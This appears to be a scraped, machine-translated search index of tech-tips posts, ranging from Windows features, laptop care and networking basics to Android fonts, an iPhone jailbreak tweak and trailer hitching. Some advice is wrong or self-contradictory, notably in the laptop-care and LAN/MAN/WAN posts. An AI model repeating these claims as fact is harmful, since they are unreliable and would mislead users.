day!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqrrc%2BapZ6rlWK5orrGrpignV2hsqK%2BzaKloGWjpLO1w8CrnGannmLArq3Rraehp56awG6yzqtkm52XnruvsdGs\n","link":"/post/top-5-best-japanese-language-learning-software-on-smartphones-for-beginners/","section":"post","tags":null,"title":"Top 5 best Japanese language learning software on smartphones for beginners"},{"body":"Microsoft has always kept it a secret, but here's what this article wants to reveal to you.\nAnother mystery about Windows 10 If you go to Settings\u0026gt; System\u0026gt; About and scroll down to 'Windows specifications' , you will see a line named 'Experience'. It can show that you have installed the 'Windows Feature Experience Pack' .\n  'Windows Feature Experience Pack' is installed on your system\nThis section also tells you which version of Windows 10 you have installed, which update version you have installed, when it was installed, and the number of OS builds.\nSo what is the 'Windows Feature Experience Pack' ? Sorry, Microsoft won't explain it!\nSome of the features of Windows 10 are part of this package The Windows Feature Experience Pack is listed as one of many 'Features on Demand' - an on-demand feature in Windows 10. For example, Microsoft Paint is currently an 'on-demand feature'.\nThis particular feature comes pre-installed with Windows. Microsoft says it 'includes features important to Windows functionality' and says that you 'shouldn't remove this package'.\nThe same document states that the Windows Feature Experience Pack was first introduced in Windows 10 version 2004 - it was the May 2020 Update.\nThis package now includes features such as a Snipping tool for capturing screenshots and a text input panel. Instead of being part of the base version of Windows 10, these features are part of the pre-installed 'bundle'. Microsoft may move more features from Windows 10 to this 'feature on demand' pack.\nMost of these 'on-demand features' are listed under Settings\u0026gt; Apps\u0026gt; Apps \u0026amp; features\u0026gt; Optional features , but the installed 'Experience Pack' doesn't appear here.\n  Optional features in Windows\nFollow clues in the Windows Store So, why is this Feature Experience Pack still available? Why not just leave these features in Windows 10?\nMicrosoft will not tell the user the answer, but have some ideas about this. Check out this section: Microsoft Store has listings for 'Windows Feature Experience Pack' and 'Windows 10X Feature Experience Pack' separately.\u0026nbsp;\n  Faster updates for Windows components? As of the October 2020 Update, there is no indication that the feature experience pack is being updated through the Store. However, it may have been updated!\nIf Microsoft updates the feature experience package through the Store, it may update the software inside the package as often as every 6 months.\nAnything transferred from Windows to this package - be it a built-in application like File Explorer or a component like the Windows taskbar or Start menu - will be updated much faster.\nA single operating system for all Microsoft devices? Microsoft is working on Windows 10X, which will be designed for dual-screen devices, but for now it looks like it will just be a more 'modern' version of Windows, limited to traditional desktop applications in containers.\nThese different Windows versions may have the same base operating system and differ only in 'Feature Experience Pack'.\nIn other words, this could help elevate Microsoft's Windows Core OS goals: Having a single Windows Core operating system powering all devices, with a variety of experiences installed. above them. Imagine if future Xbox can run Windows 10 with 'Xbox Feature Experience Pack' or Windows Phone in future can run Windows 10 with 'Windows Phone Experience Pack'.\nForget \"Windows Feature Experience\"! As of the October 2020 Update of Windows 10 in late 2020, you should ignore the \"Experience\" line in the Settings screen and forget \"Windows Feature Experience\" for now. It doesn't really make any sense.\nIts presence is a strange element in Microsoft's development: The company is always in-house testing, and signs of that experiment are appearing in released versions of Windows 10. This may be important to Microsoft engineers who are testing and troubleshooting, but it makes no sense for Windows users outside of Microsoft.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuw8inm6ivo2Kzpq3TrqmeZZWtvaa%2ByJ6lnJ1dpa6kt4yopWavmaOxsMPSZmhp\n","link":"/post/what-is-the-windows-feature-experience-pack-on-windows-10/","section":"post","tags":null,"title":"What is the 'Windows Feature Experience Pack' on Windows 10?"},{"body":" 9 tips to protect your computer safely from virus attacks 16 tips to help your life rise to a new level 10 common mistakes when shopping make you spend more money In today's modern life, laptops ( laptops ) are probably the most popular working tools. Most of us use it every day, but few know how to use it properly. However, minor carelessness can also affect the way it works and lead to serious damage.\nThe following article will provide 13 ways to protect laptops that everyone needs to know . Invite you to consult!\n1. Keep pets away from your laptop  © Imgur\nYou may feel humorous, happy when your pet cat climbs to the computer to \" help \" you work, but we do not encourage this.\nCats are often attracted to the warmth of working devices but you absolutely should not allow cats to sit there because their feathers can \" penetrate \" the system fans. This may result in the device working too hot and causing damage to your computer.\nAlso, do not eat or drink before the computer . Any food or drink that falls on a computer keyboard will attract the most ' unwanted guests ': cockroaches and ants.\n2. Move the computer carefully  © Depositphotos\nTry to be careful when moving your laptop if it does not include a solid-state drive ( SSD ). A mechanical hard drive can be damaged if it vibrates too much during operation, because there are many fragile parts when subjected to strong movements. Therefore, you may lose all data.\n3. Roll the cable properly  © Pixabay\nMaybe you think cables include wires and rubber so nothing can happen to them. Yes, it is true that they can be twisted, rolled and wrapped around everything! However, our computer is designed to be thin and light so it can be moved easily.\nRemember, you must not twist them at sharp corners or wrap around sharp edges . Do not strain the cable when plugging it in - this may lead to a lack of stability of the plug and cause battery charging problems.\n4. Do not plug in the charger continuously 24/7  © Depositphotos\nTechnically, you cannot charge a laptop battery because modern models use lithium-ion batteries. However, the microcontroller that holds the battery power overload may be damaged. In this case, continuous charging will overheat the battery, leading to battery condition.\n5. Close and open the machine gently  © Depositphotos\nYou cannot open or close the laptop by holding your finger directly to the display - this is the most \" fragile \" part of the entire device.\nIf you hold your hand in the corner of the screen, it will cause pressure on the side of the device and may cause the screen to bend or break over time. Remember to always open and close the computer gently, keeping your hand at the center of the screen.\n6. Buy a heat sink for a laptop  © Pexels\nThe laptop was invented for mobility and convenience when needed. Therefore, people often \" hug \" it in person or put on their lap when using. However, this is not the best place to put your device.\nWhen placing a laptop on a bed, sofa or any other soft surface will interfere with the ventilation system under the laptop and lead to overheating of the battery. Ideally, you should use a heat sink for a laptop to cool this system.\n7. Keep laptop away from magnets  © Pexels\nAny hard drive has a magnet that is used to store data. When placing a laptop near a strong magnet, it can cause magnetic disturbances and further lead to the loss of important data. So always make sure that the strong magnets are not near your device.\n8. Unplug the charger properly  © Pexels\nEven if you're in a hurry, be careful! Violent operations can damage the charger plug and this may cause battery charging problems.\n9. Using case for laptop  © Depositphotos\nUse a laptop bag / case for the laptop or case to avoid sharp edges. The laptop's internal mechanism can easily be damaged if you leave it in a backpack with many different things.\n10. Clean the screen carefully  © Depositphotos\nDo not use water and a cloth to clean the screen . The best way is to use a dedicated wiper with a small cloth ( microfiber ) to clean the laptop screen. The laptop screen is quite thin so don't clean it too hard.\n11. Turn off the computer when not in use  © Pexels\nDo not let your laptop \" operate \" continuously without using it during the day. This continuous operation can damage the hard drive as well as damage the cooling system. If you use the device several times a day, remember to use Sleep mode.\n12. Do not leave liquids near the laptop  © Pxhere\nDo you usually drink tea or coffee while using a laptop? We all know that laptops and liquids are two \" dark \" things. However, hot drinks can harm laptops even if you don't spill a drop of water. Absolutely do not put the hot water cup on the laptop's lid - because it can damage the screen matrix.\n13. Ask experts to check computer hardware  © Shutterstock\nAlthough in fact laptops are very easy to manage, you should not solve serious software problems yourself. Please contact and ask experts for assistance.\nDo not buy USB devices to test hardware . They usually contain a number of internal capacitors that, when plugged into your laptop, immediately discharge electricity to the hard drive and cause damage.\nThe warning signs of your laptop are having problems:\nThe hard drive works too loud or too slow. Laptops are \" frozen \" even when doing simple tasks like typing text, or operating much slower than before. Unexpected fans cause loud noise. The laptop makes a strange sound when you turn it on. Laptop suddenly restarted itself. Windows Service control manager shows a lot of errors. To see the entire installation system, go to This PC -Manage - Event Viewer. See also: 10 extremely useful tips to help you identify clothing quality\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnR51pqwrGWkpHqxvs6tnJysXaGuscDOqapmrJiWwW6x1Z6psqeemnqvscSdqmasn2K4r7vW\n","link":"/post/13-ways-to-protect-laptops-that-everyone-needs-to-know/","section":"post","tags":null,"title":"13 ways to protect laptops that everyone needs to know"},{"body":"In action movies, we often see intruders taking down people with valid fingerprints or faking it to bypass fingerprint security systems. But in fact the fingerprint scanning technology on phones today is not easy to fool in such simple ways.\nAccording to the Tampa Bay Times last March, a policeman shot down a man named Linus Phillip outside Wawa convenience store in Largo, Florida. Although he was approached by his corpse and fingerprints, the inspectors were still unable to unlock his phone to search for information about the incident. Why so?\n  Anil Jain, professor of computer science at Michigan State University, who has spent many years researching fingerprint identification, said that the longer people actually die, the harder it will be to use their fingers to unlock them. their phone. By the fingerprint identification system on most smartphones today operate through the ability of fingers to conduct electricity.\nOperation principle of security system with fingerprint sensor\nWhen the finger touches the fingerprint scanner on the smartphone, the grooves will not touch the surface of the scanner, but only the lines will touch. Below the surface the fingerprint scanner will be a multitude of micro capacitors capable of storing electricity. When fingerprints touch the surface of the scanner, because the human body is capable of conducting very small, they will conduct electricity to charge the capacitors below. Meanwhile, the grooves will not charge the capacitors below because they do not touch the scanner. Sensors will rely on this to build a detailed image of the user's fingerprint.\n Capacitive fingerprint sensor technology.\nBut when a person dies, the ability to conduct electricity is no longer available, so the ability to interact with the fingerprint scanner will also disappear. However, how long will it take for people to completely conduct electricity after death? Scientists cannot give the correct answer, because this is a very difficult experiment, it will take a lot of corpses to use their fingerprints to unlock the phone after every hour of continuous use.\nHowever, not all fingerprint scanners operate through the same conductivity as for example old-style fingerprint readers based on optical sensors, for example. They are based on changes in light between lines and grooves to create a fingerprint image. But this method is very easy to face with fake images and this is also the method of fingerprint security used by manufacturers in action movies.\nNew security technologies today\nCurrently, manufacturers have integrated new security technologies on smartphones instead of capacitive fingerprint sensors. For example, Apple's iPhone X with 3D face recognition system or Xiaomi Mi 8 EE selects optical fingerprint sensor under the screen. Some other machines even choose \"ultrasonic\" fingerprint scanners, which locate the grooves and finger lines through ultrasound sent to the finger and rely on that to shape the image. Fingerprint photo.\n  Xiaomi Mi 8 EE is equipped with optical fingerprint sensor in the screen.\nHowever, it is still not possible to determine whether these new security methods work with lifeless fingerprints.\nBut according to Jain, the new sensors are all affected by skin changes over time. When a person dies, the fingers will appear some wrinkles or cramps due to no blood vessels flowing through it. This will cause the signs of the groove and the pattern to be changed unlike the old fingerprint. Therefore, it is possible that the sensors cannot be recognized.\nsee more\nThe speed of fingerprint sensor under the screen on the Vivo X20 Plus UD and Face ID of iPhone X, which one is faster? Fake fingerprints of AI are able to unlock the security of current smartphones 3D ultrasound fingerprint sensor under Qualcomm's first screen in the world ncG1vNJzZmismaXArq3KnmWcp51ksKK6jK2fnmWgnbyvsYybnGatnqG8pLfEnWSbsV2ptaZ5xaKloJ2ipb%2BqutNmpp9lpJ2ybrDEmps%3D\n","link":"/post/can-the-phone-be-unlocked-by-the-fingerprint-of-the-dead/","section":"post","tags":null,"title":"Can the phone be unlocked by the fingerprint of the dead?"},{"body":"First, login to your Windows using an account in the admin group account ( note that only the admin group account has changed the admin password ) + Then go to Run -\u0026gt; cmd press Enter, a Dos screen will appear + You type in the command \" net user \" and you will see a table of running accounts on your computer\n  + Next, you type \" net user nowares * \", a command line will appear showing how to change the pass account, domain .\n  + You just need to follow, eg: I want to change admin pass, type net user Administrator {pass} , when the word successfully shows up is successful.\n  You can also go to google search to learn more about Dos commands.\nncG1vNJzZmismaXArq3KnmWcp51ksKmtzaCcZq%2BZo7Gww9Jmr6llkZm6qrqMqZisq6ekv6V51qKroWWUpMBur86mpJqmlA%3D%3D\n","link":"/post/change-windows-xp-admin-password-with-dos-command/","section":"post","tags":null,"title":"Change Windows XP admin password with Dos command"},{"body":"In this part 4, I will continue the discussion by showing you how to create an AD LDS instance copy .\nIn the previous article of this series, I showed you how to create an Active Directory Lightweight Directory Service (AD LDS) instance. Although an AD LDS instance itself works quite well, however, it most likely becomes an error point. If you plan to store important business data within the AD LDS instance, it is best to create at least one copy for that instance. The copies will allow easy expansion and provide an automatic failover level. In this part 4, we will show you how to set up such a copy.\nActive Directory Deployment Lightweight Directory Service Role Before creating a replica for an AD LDS instance, you must install Active Directory Lightweight Directory Service Role on the server hosting the replica you are creating. The procedure is similar to the procedure for creating your first AD LDS instance, but we will only give you a little bit of a hint that remembers what was in the previous section.\nTo install the AD LDS role, we need to open the Server Manager and select the Roles section, then click the Add Roles link. Once done, Windows will launch the Add Roles Wizard . Click Next to bypass the Welcome screen, and you will see a screen asking you to select the role you want to install. Let's check the Active Directory Lightweight Directory Services checkbox .\nHere, you will see a dialog box similar to the one shown in Figure A, which tells you that you need to install more additional role services. Simply click the Add Required Role Services button to install the required role services.\n  Figure A: Click Add Required Features and then click Next.\nClick Next, the wizard will display a screen that introduces Active Directory Lightweight Directory Services. Click Next to bypass this screen. Now that you will see a confirmation screen, this confirmation screen will ask you to verify that you really want to install the AD LDS role. Assume that the information displayed on the confirmation screen is completely correct for you, then click Install. The website will install the AD LDS role service. When the process is complete, click Close .\nCreate a copy So far, we have installed the AD LDS role, but we have not yet created a copy of the existing AD LDS instance. To start creating the desired copy, open the Active Directory Lightweight Directory Services Console via the Administrative Tools menu. When the console appears, Windows will launch the Active Directory Lightweight Directory Services Setup Wizard.\nClick Next to bypass the wizard's welcome screen. You should now see a screen similar to the one shown in Figure B, asking if you want to create a single instance or create a copy for an existing instance. Select the A Replica of an Existing Instance option and click Next .\n  Figure B: Select the Replica of an Existing Instance option and click Next.\nHere, you will see the screen shown in Figure C. As you can see in the figure, the wizard requires you to name the instance. The name you enter here should match the name of the instance you want to create the replica. Depending on what you call your instance, this dialog box can be populated automatically.\n  Figure C: Specify a name for the instance you want to create a copy, and then click Next.\nClick Next , you will see the screen shown in Figure D, asking you to specify the port number of the instance to use. If possible, you should use the same port number as the port used by the instance copy of the instance. However, this is not possible if the server is hosting a copy that has other instances installed on it, or if the server has to work as a domain controller.\n  Figure D: Tell the Windows port you want to use with the copy you will create.\nThe next screen informs you that you must join the set of configurations. The configuration file here is a group of instances that share a common configuration and schema. In this case, the configuration set will include the original instance and the copy you are creating. Therefore, all you need to do now is provide the server's full DNS name hosting the instance where you will create the copy, along with the LDAP port number that the instance will use. You can see the example in Figure E.\n  Figure E: Provide the FQDN of the server hosting the instance\nThe next screen will ask you to provide a set of certificates that have administrative privileges for the configuration set. Your task is to enter the administrative certificate set as shown in Figure F and click Next .\n  Figure F: Provides a set of administrative certificates for the configuration set\nHere, you will see the screen shown in Figure G below. As you can see in the figure, you must select the checkbox corresponding to the partitions you want to create replicas.\n  Figure G: Select the checkboxes corresponding to the partitions on which you want to create replicas.\nClick Next , and you will now see a screen asking you for a path to save data files and data recovery files. You can click Next to accept the default values ​​(as shown in Figure H) or you can provide other links.\n  Figure H: Declare for Windows where AD LDS data is stored\nMust provide the service account wizard so that it can be used for AD LDS operations. As you can see in Figure I, you can use the network service account or you can specify an account.\n  Figure I: C provides the service account wizard used for AD LDS operations\nFinally, you must allow users or user groups to have user administration privileges for the AD LDS instance. As you can see in the J image, the wizard allows you to use an existing user or you can specify certain user names or group names.\n  Figure J: Admin privileges must be delegated to the instance\nWhen you click Next , Windows will display a summary screen that includes all the configuration options you have set up, as shown in Figure K. Read through this summary screen to make sure everything is the same. What you intend. Assuming all is correct, click Next , Windows will configure the AD LDS instance. When the process is complete, click Close to close the wizard.\n  Figure K: Need to read the summary screen to verify that the server is configured correctly\nConclude As you can see, we can easily create a copy of AD LDS. In the next part of this series, we will go over the process in more detail.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYsGpsYyloKCgpKyyqrPHrWSdoaKasLW70bJkrJ2iq7aksYysnKuumZiybrzAq6tmbA%3D%3D\n","link":"/post/configure-the-lightweight-directory-service-service/","section":"post","tags":null,"title":"Configure the Lightweight Directory Service service"},{"body":"The network allows computers to connect and communicate with other computers through any means. LAN, MAN and WAN are three types of networks designed to operate on the area they cover. There are several similarities and differences between them.\nOne of the significant differences is in the geographic area they are in. LAN covers the smallest area; MAN has a larger area than LAN and WAN has the largest range.\nIn addition, LANs depend on the hardware and communication devices they own to transmit signals. In contrast, this is not possible in the case of MAN and WAN, where two networks are required to use shared, private or leased communication hardware.\nBasis of comparison LANMANWAN Full name Local Area Network Metropolitan Area Network Wide Area Network Meaning Network connects a group of computers in a small geographical area. The network covers relatively large areas such as cities and towns. It expands large regions and connects nations together. Internet example. Private network ownership Private or public Private or shared Design and maintenance Easy Difficult Difficulty Delay on the line Short Medium Long High Speed ​​Medium Low Low Fault Tolerance (ability to continue operating when one or many components have a problem) Better Less Poor Less Blocked Less Occur More Occur More Occur Used for Schools, Hospitals. Small town, City. Country / Continent. Allows a single pair of devices to communicate. Multiple computers can simultaneously interact. A large number of computers communicate at the same time. Defines LAN, MAN and WAN LAN and WAN have been mentioned in previous articles. The concept of MAN network sounds a bit strange.\nMAN network or Metropolitan area Network has a larger operating area than the LAN and is smaller than the WAN. It connects two or more computers that are far apart, located in the same or in different cities. The MAN network covers a wide geographic area and can serve as an ISP (Internet Service Provider).\nIt is difficult to design and maintain a MAN network. This network is very expensive and may or may not be owned by an organization. The data transfer rate of MAN is medium.\nMAN can be classified into two categories: DQDB and SMDS.\nDQDB (Distributed Queue Dual Bus): Considered a dual bus configuration that refers to each server in the network being linked to two backbone network links. SMDS (Switched Multimegabit Data Services): SMDS connects to different LANs and allows data packets to be transferred to any other LAN on SMDS. This is a high-speed MAN network that uses packet switching as a datagram service (the mode in which the network routes each datagram without regard to any datagram that comes before or after it). The main difference between LAN, MAN and WAN 1. The geographical area covered by a LAN is very small, while MAN covers a relatively large area and the LAN has the largest range.\n2. LAN is limited to schools, hospitals or buildings, while MAN connects small towns or cities, while LANs cover a country or a group of countries.\n3. The devices used for data transmission are:\nLAN: WiFi, Ethernet cable. MAN: Modem and wire / cable WAN: Fiber optic, microwave, satellite. 4. LAN transfers data at a faster rate than MAN and WAN.\n5. LAN maintenance is easier than MAN and WAN.\n6. The available bandwidth for transmission in LAN is higher than for MAN and WAN.\n7. Data transmission error and interference occur at least in LAN, moderate in MAN and very much in WAN.\nLAN has many advantages compared to MAN and WAN, such as LAN provides excellent reliability, high data transfer rate, can easily manage and share peripherals.\nLANs cannot cover cities or towns, while MAN networks can connect cities or groups of cities. In addition, to connect a country or a group of countries, we need a WAN.\nncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaTmnqjsdOwnJ6mXaGur3nMmqVmmZ6ZeritzQ%3D%3D\n","link":"/post/difference-between-lan-man-and-wan/","section":"post","tags":null,"title":"Difference between LAN, MAN and WAN"},{"body":"Microsoft is betting a lot on quantum computing - the most modern technology area today to build a computer system more powerful than anything we've ever had before.\nAt the recent Microsoft Ignite conference, CEO Satya Nadella presented the company's vision with quantum computing, emphasizing the potential to use super-powerful computers to find ways to treat cancer, solve variable problems. climate change and generally answer many questions that are impossible.\nHowever, in a general interview with Nadella for the Wall Street Journal, Microsoft co-founder Bill Gates said that the technology behind quantum computing was too complicated, even he could not understand.\n'It's part of Microsoft where they offer something that I really don't understand. I know about physics and math. But there is one thing that is too difficult to understand, that is quantum, \"Gates said.\nPerhaps he should talk to Canadian Prime Minister Justin Trudeau, who just released a quick explanation of quantum computing in early 2016. 'It's very simple,' Trudeau said. 'Normal computers work whether electricity goes through wires or wirelessly. It is 1 or 0, binary system. Quantum allows more complex information to be encoded into a bit '.\nAlthough Trudeau is right about the basics, the true scientific nature of quantum computing is much more complex. Google, Microsoft, IBM and many other technology companies have invested a lot of resources in this area in the race to become the first to bring quantum computing capabilities into the mass market.\n  Bill Gates and CEO of Microsoft Sayta Nadella\nNadella told the Wall Street Journal that quantum computing is a key element in Microsoft's cloud computing strategy, where developers and businesses can use unlimited computing power.\n'The investment is also natural because we are one of the most paying people on cloud computing and we think this is our next generation cloud,' Nadella said.\nncG1vNJzZmismaXArq3KnmWcp51ksrexzWaZoqScYrSiwMSsZJ2nlai7tXnUp5ueqqOprq%2BwjK2fnmWRobSwvsitn6Zlkpq1qrrDZqiumZ6pwq55wqikqa2knruo\n","link":"/post/even-bill-gates-doesn-t-understand-the-algorithm-behind-quantum-computing/","section":"post","tags":null,"title":"Even Bill Gates doesn't understand the algorithm behind quantum computing"},{"body":" How to set wallpaper, change fonts, colors on Facebook How to change the font displayed on Galaxy Note 8 How to fix font errors Word, Excel, transcoding fonts super fast In most cases, the default font on Android phones or Android tablets can meet the needs of users. The default font looks nice and always has enough size to make you comfortable to use. However, there will be cases where Android phone users prefer other font styles. And of course there is always a small group of users who want to change the font on Android phones only because of that personal preference.\n  If you belong to either group or both, then this article is for you. The great thing is, Android is a customizable mobile operating system, it even allows you to change the font used by the user interface. However, changing the Android font may not be easy for many people. Sometimes, custom font changes require some necessary techniques.\nIn this tutorial, learn some ways to change fonts on Android phones .\nChange the font with the settings available on the phone While the original Android phone operating system does not have the ability to customize the font system, many manufacturers have adjusted their software to support this required feature, allowing users to easily change the font. on Android. Including big companies like Samsung, HTC and LG.\n  This process may vary depending on the phone you are using, but you can find this option in the Settings section. It is usually located in the Display section. From there, you can change the actual font, as well as the font size.\nFor example, some Samsung Android devices allow you to change the font style. Samsung has pre-installed some additional fonts next to the default font, but you can download it online through the Google Play store.\nTo install the new font, just move quickly to Settings (Settings)\u0026gt; Display (Display)\u0026gt; Font style (Font Style). Just type the font name you want and confirm that you want to set it as the system font. Replace instant fonts. No need to reboot. The selected font will be displayed in the entire interface of the phone device such as time, system menu icon and even your text message section.\nThe Launcher app of Android will be the answer Is your manufacturer not suggesting this? Do not worry. There is a non-root way to change the font on Android OS via custom launcher applications. Some custom launcher applications integrate with the font change function, while most other launcher apps will need theme settings.\n  A popular custom launcher application that provides a way to change the font is GO Launcher . To change the font style in GO Launcher, follow these steps:\nCopy TTF font files to your phone. Open GO Launcher . Find the Tools application and open it. Click the Preferences icon. Scroll to Personalization and select it. Click Font . Click the Select Font (Select the font) and select the font you want to use.   Changes will be applied immediately. No need to restart the device. If you want more fonts to use with GO Launcher EX, download and install GO Launcher Fonts.\nUse iFont Download iFont.\nIFont application can also be used to change fonts for Android phones. Previously this application can only be used on Samsung phones, but currently the line of support has been expanded, you can install on Samsung, MIUI, MEIZu, HTC, Sony, Motolora machines will need to root Android first .\nOn non-rooted devices, use iFont's Online tab to browse available fonts. To use a font in the list, follow these steps:\nTurn on application settings from \" Unknown Sources \". This option can be found in Settings (Settings)\u0026gt; Security (Security). Start iFont . Go to Online tab. Click on the font name you want to install. Click the Download button (Download). Press the Settings button (Set). Or go to Settings\u0026gt; Settings\u0026gt; Display (Display)\u0026gt; Font style (Font Style). The newly installed font will appear in the list. Click the new font to use as the system font. The font is applied immediately. No need to reboot.   You can also copy TrueType (TTF) fonts from your computer to / sdcard / ifont / custom ; The above fonts will appear on the Custom tab (Custom). However, to be able to install and use the font, you will need a rooted device. ( For instructions on how to use this application on the root device, see the iFont entry in \"Methods root root\" ).\niFont is a free application and does not display ads. It worked quite well on some devices ( including phones that are not Samsung ) that we tested it on.\nRefer to some more articles:\n5 websites to find and download free fonts How to change the default Windows 10 font Instructions on how to embed fonts in Microsoft Word documents Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llqS7tXnOp2SappSnvKqwjKmfqKaVqA%3D%3D\n","link":"/post/how-to-change-the-font-on-android-phones/","section":"post","tags":null,"title":"How to change the font on Android phones"},{"body":"Applications on iPhone when new notifications are displayed on the lock screen, with horizontal frames showing the contents of the notification. Tweaking ShortLook for iOS 11 jailbreak devices again creates a more unique notification style, when displaying the application icon interface with new notifications first.\nAccordingly, when there is a notification, a black background interface appears with the notice of the application. When clicking on the screen, the default notification interface will be displayed again.\nHow to customize notifications on iPhone How to highlight important notifications on iPhone How to turn off iPhone application notifications? Instructions for creating new iPhone notifications Step 1:\nCurrently tweaking ShortLook is sold for $ 3.99. If you want the previous experience can access the repo https://repo.xarold.com/pack/shortlook .\nStep 2:\nAfter installation is complete, users access Settings and then select ShortLook to proceed to change settings. In this new interface you will have many main customizations to use.\nEnabled: Toggle tweaking. Show Contact Photos: Displays contact photos for notifications. Translucent background: Turn on or off black blur background. Timeout bar: Select the time interval to display the ShortLook message. Sleep Resume if Acknowledged: Go back to Sleep mode unless the message is confirmed by ShortLook. Use Anemone Icons: Use the icon in Anemone if you use Anemone themes.    After activating the options you want to use, the bulletin board will be applied right on the device. We will visualize how the message displays through the image below.\n   The black background will cover the device screen and application icon with the message content below. If there are new notifications tweaked will automatically activate and display such notification. Touch the device to turn on the screen, the default notification interface will display the same.\nSee more:\nHow to turn off the display of message preview content on iPhone How to turn off the red notification turns the iPhone screen How to turn on, mute the iPhone screen capture I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyip6Gnnpp6orzPpaCcmaSevK95wa6jpZ2knrturs6aqZ0%3D\n","link":"/post/how-to-create-iphone-application-bulletin-board/","section":"post","tags":null,"title":"How to create iPhone application bulletin board"},{"body":"Hooking up a trailer to your car or truck is an easy way to increase the storage capacity of your vehicle. However, failing to attach your trailer correctly can lead to damage to your own car, the trailer, and other vehicles around you as...\nPart 1of 3:\nLining up Your Vehicle  Move the trailer to a long, easily accessible area. While it's possible to reverse towards a trailer on an angle or around corners, it's much easier to attach your trailer if you approach it in a straight line. If you can, wheel the trailer to a long stretch of a driveway or a parking lot where you'll have plenty of room to work.[1] Most trailers will have an attached jack with a wheel on the end that can help keep the trailer level without it being attached to anything. Keep this out while moving the trailer by hand to reduce some of the heavy lifting. If your trailer is already full, it might be more difficult to move by hand. Rotate it on the spot as much as you can to make the reversing job easier, as trying to move it yourself may be difficult.   Reverse your vehicle in a straight line with the trailer. Drive your vehicle forward so that it is directly in front of the trailer. Slowly reverse the car, turning the wheel slightly to keep it as directly in line with the trailer as you can. Stop when the back of the car is around 1 foot (0.30\u0026nbsp;m) away from the front of the trailer.[2] Reversing your car into the right position and space is much easier when you have a lot of room to work with. Keeping the trailer and vehicle lined up properly will make driving much easier, especially when you're first getting onto the road. It might help to get a friend or someone else to help you reverse the car. They can guide you on how far back to drive and help you correct the vehicle if it starts angling in one direction.   Position the trailer coupler slightly above the hitch ball. The trailer coupler is the metal socket on the end of the trailer that will connect to the back of your car. Rotate the handle on the trailer jack to raise or lower the coupler so that it's 2 to 3 inches (5.1 to 7.6\u0026nbsp;cm) above the hitch ball on the back of your car.[3] If your trailer doesn't have an attached jack, you could use a regular car jack to hold the trailer at the right height. Attached trailer jacks will be slightly behind the coupler on the trailer. If the trailer is light enough and easy to move, you could simply lift the trailer coupler forward and place it over the hitch ball. The hitch ball is the metal ball on the back of your car that the trailer coupler will attach to.   Back your vehicle up until the coupler is directly above the hitch ball. With the coupler raised a little above the hitch ball, get back into your vehicle and reverse backward a little further. Get a friend to help guide you to reverse your car so that the hitch ball and coupler are perfectly lined up.[4] It's possible to reverse into position by yourself, but it will take a lot of trial and error. Reverse a little bit, put on the break, and get out to check how much further back you need to go. Repeat this process until everything is lined up. If you reverse too far back, you may hit the coupler and scratch or damage the back of your car.  Part 2of 3:\nSecuring the Trailer  Unlock the trailer coupler latch. The latch on top of the trailer coupler is the first mechanism that will keep your trailer locked onto the back of your car. Remove the latch pin from the trailer coupler and lift the latch upwards to unlock it. This will allow it to sit on the hitch ball on your vehicle.[5] Some trailers might have methods other than latch pins used to hold the latch in place. Try to raise the latch and see what's holding it in place to find the right way to release it. The latch will likely be a metal handle on top of the trailer coupler. If the coupler is already unlocked, you can skip this step.   Lower the coupler socket onto the vehicles hitch ball. Check the hitch ball on the back of your vehicle and remove any covers or protectors sitting on top of it. Use the handle attached to the trailer jack to lower the coupler socket onto the hitch ball, until the weight of the trailer is supported entirely by the ball.[6] If the latch has been lifted and everything is positioned properly, the socket should lower and sit perfectly on the hitch ball.   Move the trailer jack out of the way. The trailer jack is great for positioning the trailer properly but will get easily damaged if you drive with it attached. Look for a latch or latch pin on the trailer jack to rotate it up into the trailer and hold it out of the way while you drive. Alternately, you may be able to detach the jack entirely and keep it in your vehicle until it's needed.[7] The wheel on the trailer jack is not designed for use while driving. Do not drive with the trailer jack on or extended at risk of damaging the trailer, your vehicle, or other vehicles on the road.   Lock the coupler latch and insert the latch pin. With the coupler sitting securely on the hitch ball, reverse the process of unlocking the coupler latch to lock it in place. Push the handle on the coupler down so that it is parallel to the ground. Insert the latch pin to hold it in place and prevent the coupler from unlocking while you drive.[8] Different trailers and trailer couplers may have slightly different locking mechanisms. Always consult the owner's manual for your own trailer to make sure you lock it into place properly.   Attach the safety chains to the back of your vehicle in a cross pattern. Run one of the safety chains below the coupler and hitch ball and attach it to the opposite side of the hitch ball. Repeat with the other chain to create an overlapping cross underneath the coupler and hitch ball.[9] The safety chains will be the last safety mechanism in place if the coupler latch fails, so they are legally required in many places. If the coupler disconnects from the vehicle while you're driving, it will fall and land on the crossed chains rather than hitting the road. The safety chains will be attached to your trailer, just below the coupler.  Part 3of 3:\nConnecting the Lights  Locate the wiring socket on the back of your vehicle. The wiring socket is a wide plug that will power the lights on your trailer. Look for a small panel on the back of your vehicle, inside the trunk, or even a loose wire close to the hitch ball. Make sure it isn't damaged and is free from any corrosion that may prevent it from working properly.[10] If you cannot find the wiring socket on your car, check the manufacturer's instructions for your car for further assistance. If your wiring socket is damaged, corroded, or frayed in any way, have it looked over by a mechanic before plugging the trailer wire into it.   Plug the trailer wire into your vehicle. There should be a loose wire with a plug on one end near the trailer coupler. Run the wire above the coupler and the hitch ball and plug it into the socket on the back of your vehicle. Press the plug securely into the socket and use any latches on the wire to hold them together.[11] Some trailers will have metal loops along the side of the coupler that the wire can be threaded through to keep it out of the way. Avoid running the wire underneath the coupler and hitch ball, as this will increase the chances of it getting damaged or becoming unplugged should the trailer detach from your vehicle.   Test the headlights, blinkers, and brake lights on the trailer. Before you start driving, you should always make sure the trailer lights are working. Start your vehicle, engage the handbrake, and turn on the headlights. Check the appropriate lights on the back of the trailer are on, before repeating the same process with each indicator and the brake lights.[12] If any of the lights aren't working, you should not drive the trailer. This is the same as driving without the corresponding light on your car working. Call a mechanic to ask for assistance before driving your car with the trailer attached. Rather than moving back and forth from the driver's seat of your car to the rear end of your trailer, ask a friend to check the lights while you activate them.   Lesley Montoya Update 24 March 